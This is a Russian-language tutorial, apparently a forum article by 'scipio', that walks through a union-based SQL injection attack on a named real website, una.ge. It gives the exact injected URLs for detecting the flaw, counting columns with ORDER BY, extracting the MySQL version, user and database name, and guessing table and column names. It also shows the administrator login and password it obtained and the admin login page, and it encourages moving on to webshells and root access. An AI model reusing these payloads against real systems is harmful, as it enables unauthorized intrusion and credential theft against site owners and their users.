SQL инъекция.
Обнаружение инъекции
Для обнаружения инъекции я чаще всего пользуюсь манипулированием с числовыми параметрами в GET запросах, например:
http://una.ge/eng/artdetail.php?group=articles&id=102
(Ну вот, опять без примеров не получается)
Здесь параметр id – числовой и равен 102
После выполнения этого запроса мы увидим страничку с заголовком секции «UN Session in Georgian Parliament». Проверим этот параметр на уязвимость, но вначале попробуем вот такой запрос:
http://una.ge/eng/artdetail.php?group=articles&id=101
Заголовок секции теперь «'The Messenger'-World Refugee Day». Возвращаемся на предыдущую секцию (id=102) с заголовком «UN Session in Georgian Parliament». И вот тут уже проверяем на уязвимость, введем в параметре id не просто значение, а выражение 102-1, запрос в таком случае примет вид:
http://una.ge/eng/artdetail.php?group=articles&id=102-1
В результате этого запроса мы попали на секцию «'The Messenger'-World Refugee Day», id которой равен 101. Что произошло? А произошло выполнение арифметического выражения 102-1=101, т.е. скрипт artdetail.php не отфильтровал выражение в значении параметра id, а выполнил его. Это и есть SQL инъекция.
Вставляем свое выражение и узнаем количество полей
Если у нас выполнилось выражение 102-1, значит мы можем вставить и другое выражение, которое будет нам гораздо полезнее, а нужно нам получить определенные сведения из базы данных. Для этого в SQL используется конструкция Select и «оператор» (извините, не знаю как еще обозвать) объединения запросов Union, а точнее Union select – это и есть конструкция объединения запросов. Еще в нашем выражении я буду использовать знак комментария /* (для MSSQL это двойное тире --, а комментарий /* надо обязательно закрывать */ ), все что идет после комментария скриптом соответственно не выполняется. А нужно это, потому что внутри скрипта на основании полученных данных формируется запрос к базе данных например:
Select * from news where sec_id=id and page=2
В моем запросе «and page=2» как минимум не нужен, а как максимум после внедренного мною в запрос выражения, приведет к неправильному отображению данных, а скорее всего к ошибке. И если я поставлю после id=102 знак комментария запрос сформированный скриптом будет таким:
Select * from news where sec_id=102 /* and page=2
Т.е. «and page=2» скрипт, а точнее уже SQL примет за комментарий и проигнорирует.
Теперь перейдем к Union Select. В третьих версиях MySQL эта конструкция вообще отсутствовала, но сейчас в основном распространены версии 4 и выше. Также некоторые отключают в настройках возможность использования такой конструкции, но это редкость, я видел такое только один раз и поскольку в данном примере есть возможность использования Union Select, я этим и воспользуюсь. Важно знать, что после Union Select нужно выбирать (прописать) такое же количество полей как и в первом запросе Select, иначе нам возвратится ошибка MySQL. Т.е. нам нужно узнать количество полей. Как это сделать? Есть два или более способов.
Способ 1
после нашего запроса я ввожу конструкцию Union Select и банально перебираю количество полей:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1/*
Такой запрос скорее всего выдаст ошибку или просто не отобразит данные, т.к. количество полей больше чем одно. Пробуем добавить в запрос еще поле:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2/*
Здесь тоже будет ошибка по тем же причинам. Так я каждый раз добавляю еще поле, пока данные не отобразятся корректно:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*
Способ 2.
Я узнаю количество полей до того, как использую конструкцию Union Select c с помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:
http://una.ge/eng/artdetail.php?group=articles&id=102 order by 5/*
не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Ввожу еще одно выражение:
http://una.ge/eng/artdetail.php?group=articles&id=102 order by 13/*
Это выражение выполнится с ошибкой, т.к. 13 –го поля не существует и теперь нам известно что полей в выражении не меньше 5 и не больше 12. Выбираю любое число из этого диапазона (примерно среднее):
http://una.ge/eng/artdetail.php?group=articles&id=102 order by 8/*
Ошибки нет, а это значит что количество полей находится в диапазоне от 8 до 12, Еще раз:
http://una.ge/eng/artdetail.php?group=articles&id=102 order by 10/*
Ошибка!. т.е количество полей или 8 или 9, остается только попробывать:
http://una.ge/eng/artdetail.php?group=articles&id=102 order by 9/*
Ошибки нет. Т.о. мы узнали что количество полей равно 9.
Получаем определенную информацию.
Т.к. мы знаем что у нас 9 полей я могу составить работающее выражение:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*
Цифры в таком выражении нам нужны для того, чтобы узнать значение какого поля отображается на странице, но иногда после выполнения запроса ни какое из перечисленных полей у не отображается, это произошло из-за того, что секция имеет свой определенный контент, а для того что бы увидеть нужную нам информацию надо выполнять запрос в секции, которая не имеет контента, т.е. в несуществующей секции. Резонно предположить, что такой секцией может быть секция -1, с чего я это взял думаю и так понятно. Но у нас отобразились цифры 3 и 5 это и есть номера полей с помощью которых я буду получать интересующие нас данные. Теперь я могу узнать версию MySQL, ввожу вместо цифры 3 в запросе функцию version():
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,version(),4,5,6,7,8,9/*
Смотрим, у нас теперь вместо 3 отобразилось 5.0.22 – это и есть версия MySQL, дальше получаем имя пользователя и сервер MySQL, для этого мне пригодится функция user():
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 01,2,user(),4,5,6,7,8,9/*
Результат: una_ge@localhost, ну и наконец имя базы данных database()
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,database(),4,5,6,7,8,9/*
Результат: una_ge
Узнаем интересующие нас данные
Итак, у нас есть запрос:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*
Теперь я попробую узнать имя таблицы пользователей, делается это вставкой выражения from после нашего запроса а далее банальным перебором возможных вариантов. Если таблицы с предполагаемым именем не существует, мы получим ошибку, например:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9 from blahblah/*
Не мудрствуя лукаво, я скажу что нужная нам таблица имеет имя user:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9 from user/*
Этот запрос нам показал только то, что существует таблица user т.к. не привел к ошибке, но чтобы получить нужные данные нам теперь надо, так же, банальным перебором узнать имена полей. А для того чтобы данные отобразились, имена полей при переборе следует вставлять в 3 и 5 поле, т.к. они у нас непосредственно выводятся на экран, причем при несуществующих именах опять же будет выдаваться ошибка:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,blahblah,4,5,6,7,8,9 from user/*
зато при правильном имени поля мы увидим первое значение этого поля из таблицы а это обычно запись администратора, так и есть возьмем имя поля name
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,name,4,5,6,7,8,9 from user/*
Да так и есть первая запись у нас admin, а теперь попробуем имя поля passwd:
http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2,passwd,4,5,6,7,8,9 from user/*
результат: webadmin.
теперь у нас есть логин и пароль администратора, это нам было и нужно и если мы сейчас зайдем на страничку:
http://una.ge/admineng/login.php
мы можем ввести полученные данные. Все!!! Цель достигнута. Что делать дальше? Учится, узнавать что такое webshell, root и т.д.
Изначально эта статья планировалась совсем по-другому, но так произошло и из информационной она перешла в раздел туториалов, не судите за это строго, жизнь продолжается и я еще напишу то что задумал.
Все материалы и примеры даны исключительно в ознакомительных целях и ответственность за использование этих материалов ложится полностью на вас. Большая просьба осторожнее и если вы неопытны лучше не пытаться (пока…) т.к. это все таки сайт организации объединенных наций.
Спасибо за прочтение, scipio
Scipio
Примечание Цензора: Просьба в последующих статьях больше внимания уделить офографии и пунктуации...
ps: извините ссылку на оригинал дать не могу, просто давно скопировал и не помню где. . .
чтобы подробнее узнать о иньекциях советую искать по поисковикам если этой информации мало